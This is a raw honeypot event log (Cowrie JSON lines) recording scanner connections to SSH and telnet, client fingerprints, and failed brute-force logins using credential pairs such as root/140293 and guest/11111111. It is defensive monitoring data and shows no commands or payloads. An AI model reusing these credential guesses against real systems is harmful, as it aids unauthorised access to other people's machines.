{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":44952,"dst_ip":"159.203.135.109","dst_port":23,"session":"e96d5583159d","protocol":"telnet","message":"New connection: 170.64.224.25:44952 (159.203.135.109:23) [session: e96d5583159d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:18:16.446772Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":52380,"dst_ip":"159.203.135.109","dst_port":22,"session":"13c986f9c2c8","protocol":"ssh","message":"New connection: 194.113.233.25:52380 (159.203.135.109:22) [session: 13c986f9c2c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:18:16.912412Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:18:16.916606Z","src_ip":"194.113.233.25","session":"13c986f9c2c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:18:17.005395Z","src_ip":"194.113.233.25","session":"13c986f9c2c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"29011996","message":"login attempt [root/29011996] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:18:17.275754Z","src_ip":"194.113.233.25","session":"13c986f9c2c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:18:18.367314Z","src_ip":"194.113.233.25","session":"13c986f9c2c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":35168,"dst_ip":"159.203.135.109","dst_port":23,"session":"e74f173cbbb2","protocol":"telnet","message":"New connection: 170.64.224.25:35168 (159.203.135.109:23) [session: e74f173cbbb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:18:19.130715Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":35176,"dst_ip":"159.203.135.109","dst_port":23,"session":"e36c4e7077a4","protocol":"telnet","message":"New connection: 170.64.224.25:35176 (159.203.135.109:23) [session: e36c4e7077a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:18:25.892363Z"}
{"eventid":"cowrie.session.closed","duration":120.00307893753052,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:18:28.487542Z","src_ip":"170.64.224.25","session":"be1e4eb13878","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":40352,"dst_ip":"159.203.135.109","dst_port":23,"session":"ebf79e09c0d7","protocol":"telnet","message":"New connection: 170.64.224.25:40352 (159.203.135.109:23) [session: ebf79e09c0d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:18:30.394091Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":41208,"dst_ip":"10.17.0.5","dst_port":22,"session":"3801c725e214","protocol":"ssh","message":"New connection: 62.133.62.83:41208 (10.17.0.5:22) [session: 3801c725e214]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:18:43.807683Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:18:43.811536Z","src_ip":"62.133.62.83","session":"3801c725e214","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:18:43.889430Z","src_ip":"62.133.62.83","session":"3801c725e214","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"140293","message":"login attempt [root/140293] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:18:44.128343Z","src_ip":"62.133.62.83","session":"3801c725e214","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:18:45.214033Z","src_ip":"62.133.62.83","session":"3801c725e214","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":34574,"dst_ip":"159.203.135.109","dst_port":23,"session":"043923e62204","protocol":"telnet","message":"New connection: 170.64.224.25:34574 (159.203.135.109:23) [session: 043923e62204]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:18:49.559659Z"}
{"eventid":"cowrie.session.connect","src_ip":"203.121.40.210","src_port":15410,"dst_ip":"159.203.135.109","dst_port":22,"session":"a41638e829c9","protocol":"ssh","message":"New connection: 203.121.40.210:15410 (159.203.135.109:22) [session: a41638e829c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:18:51.476664Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:18:51.480908Z","src_ip":"203.121.40.210","session":"a41638e829c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:18:51.730709Z","src_ip":"203.121.40.210","session":"a41638e829c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"11111111","message":"login attempt [guest/11111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:18:52.791844Z","src_ip":"203.121.40.210","session":"a41638e829c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:18:54.043942Z","src_ip":"203.121.40.210","session":"a41638e829c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.15611815452576,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:18:54.286676Z","src_ip":"170.64.224.25","session":"e74f173cbbb2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.46462845802307,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:19:04.911184Z","src_ip":"170.64.224.25","session":"e96d5583159d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.57.219.18","src_port":52922,"dst_ip":"159.203.135.109","dst_port":22,"session":"eb1a7a028f84","protocol":"ssh","message":"New connection: 198.57.219.18:52922 (159.203.135.109:22) [session: eb1a7a028f84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:19:07.132926Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:19:07.137489Z","src_ip":"198.57.219.18","session":"eb1a7a028f84","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:19:07.231614Z","src_ip":"198.57.219.18","session":"eb1a7a028f84","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"shib2024","message":"login attempt [root/shib2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:19:07.526065Z","src_ip":"198.57.219.18","session":"eb1a7a028f84","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:19:08.622300Z","src_ip":"198.57.219.18","session":"eb1a7a028f84","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":54106,"dst_ip":"159.203.135.109","dst_port":23,"session":"458389900fdc","protocol":"telnet","message":"New connection: 170.64.224.25:54106 (159.203.135.109:23) [session: 458389900fdc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:19:12.730694Z"}
{"eventid":"cowrie.session.connect","src_ip":"95.130.227.33","src_port":38254,"dst_ip":"10.17.0.5","dst_port":22,"session":"de923ed8ff2d","protocol":"ssh","message":"New connection: 95.130.227.33:38254 (10.17.0.5:22) [session: de923ed8ff2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:19:15.945840Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:19:15.950054Z","src_ip":"95.130.227.33","session":"de923ed8ff2d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.242.143.220","src_port":33030,"dst_ip":"10.17.0.5","dst_port":22,"session":"924aec2cb29f","protocol":"ssh","message":"New connection: 38.242.143.220:33030 (10.17.0.5:22) [session: 924aec2cb29f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:19:16.004300Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:19:16.008973Z","src_ip":"38.242.143.220","session":"924aec2cb29f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:19:16.101168Z","src_ip":"38.242.143.220","session":"924aec2cb29f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:19:16.114024Z","src_ip":"95.130.227.33","session":"de923ed8ff2d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"arbitrum","password":"arbitrum999","message":"login attempt [arbitrum/arbitrum999] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:19:16.407585Z","src_ip":"38.242.143.220","session":"924aec2cb29f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aaaaaa123","message":"login attempt [root/aaaaaa123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:19:16.805190Z","src_ip":"95.130.227.33","session":"de923ed8ff2d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:19:17.511423Z","src_ip":"38.242.143.220","session":"924aec2cb29f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":52.05154514312744,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:19:17.943790Z","src_ip":"170.64.224.25","session":"e36c4e7077a4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:19:17.971734Z","src_ip":"95.130.227.33","session":"de923ed8ff2d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.69119906425476,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:19:22.085088Z","src_ip":"170.64.224.25","session":"ebf79e09c0d7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":45828,"dst_ip":"159.203.135.109","dst_port":23,"session":"08ccabe67b5e","protocol":"telnet","message":"New connection: 170.64.224.25:45828 (159.203.135.109:23) [session: 08ccabe67b5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:19:31.947083Z"}
{"eventid":"cowrie.session.connect","src_ip":"143.20.185.207","src_port":34440,"dst_ip":"159.203.135.109","dst_port":22,"session":"8ea98c490236","protocol":"ssh","message":"New connection: 143.20.185.207:34440 (159.203.135.109:22) [session: 8ea98c490236]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:19:36.508268Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:19:36.512696Z","src_ip":"143.20.185.207","session":"8ea98c490236","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:19:36.643541Z","src_ip":"143.20.185.207","session":"8ea98c490236","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"XYZZ#4VCPU16GBAMD","message":"login attempt [root/XYZZ#4VCPU16GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:19:37.026721Z","src_ip":"143.20.185.207","session":"8ea98c490236","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:19:38.158728Z","src_ip":"143.20.185.207","session":"8ea98c490236","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.19221806526184,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:19:46.922792Z","src_ip":"170.64.224.25","session":"458389900fdc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.197.250","src_port":56756,"dst_ip":"159.203.135.109","dst_port":22,"session":"0867160f2aa9","protocol":"ssh","message":"New connection: 192.169.197.250:56756 (159.203.135.109:22) [session: 0867160f2aa9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:19:47.710201Z"}
